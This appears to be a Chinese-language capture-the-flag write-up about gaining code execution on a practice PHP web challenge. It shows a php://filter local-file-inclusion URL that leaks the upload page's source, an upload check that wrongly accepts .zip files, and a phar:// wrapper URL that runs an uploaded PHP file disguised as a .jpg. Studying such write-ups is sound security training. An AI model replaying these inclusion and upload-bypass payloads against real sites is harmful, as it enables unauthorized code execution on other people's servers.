记一次简单的GetShell案例
案例链接:
打开链接,发现分了多个页面:
挨个点击,大概清楚是上传指定格式的文件然后在搜索的时候使文件执行从而GetShell,观察发现点击每个页面后出现“?page=xxx"字样,查看源代码发现还有隐藏的php文件:
于是输入:
http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=upload
得到一串base64编码:
在线解密后得到网页隐藏源码:
1 <html lang="zh-CN"> 2 <head> 3 <meta charset="utf-8"> 4 <?php 5 $error=$_FILES['pic']['error']; 6 $tmpName=$_FILES['pic']['tmp_name']; 7 $name=$_FILES['pic']['name']; 8 $size=$_FILES['pic']['size']; 9 $type=mime_content_type($tmpName); 10 try{ 11 if($name!=="") 12 { 13 $name1=substr($name,-4); 14 if(($name1!==".gif") and ($name1!==".jpg") and ($name1!=='.zip')) 15 { 16 echo "hehe"; 17 echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>"; 18 exit; 19 } 20 if($type!=="image/jpeg"&&$type!=="image/gif") 21 { 22 echo mime_content_type($tmpName); 23 echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>"; 24 exit; 25 } 26 if(is_uploaded_file($tmpName)){ 27 $time=time(); 28 $rootpath='uploads/'.$time.$name1; 29 if(!move_uploaded_file($tmpName,$rootpath)){ 30 echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>"; 31 exit; 32 } 33 } 34 echo "图片ID:".$time; 35 } 36 } 37 catch(Exception $e) 38 { 39 echo "ERROR"; 40 } 41 // 42 ?> 43 </html>
从第十四行可以看出其实也支持ZIP文件,想到可以从这里下手
在本地建一个PHP文件,意在使网站对上传文件解析后执行这段代码,即打开phpinfo界面:
<?php phpinfo();?>
将其压缩成ZIP文件后也可将格式改为jpg上传,可以得到图片ID:
然后记住图片ID,在view页搜索后跳转出现以下页面:
这时我们的PHP代码已经执行,我们就可以输入以下网址得到我们需要的phpinfo页面,即GetShell了:
http://202.112.51.184:8007/index.php?page=phar://uploads/1533638442.jpg/2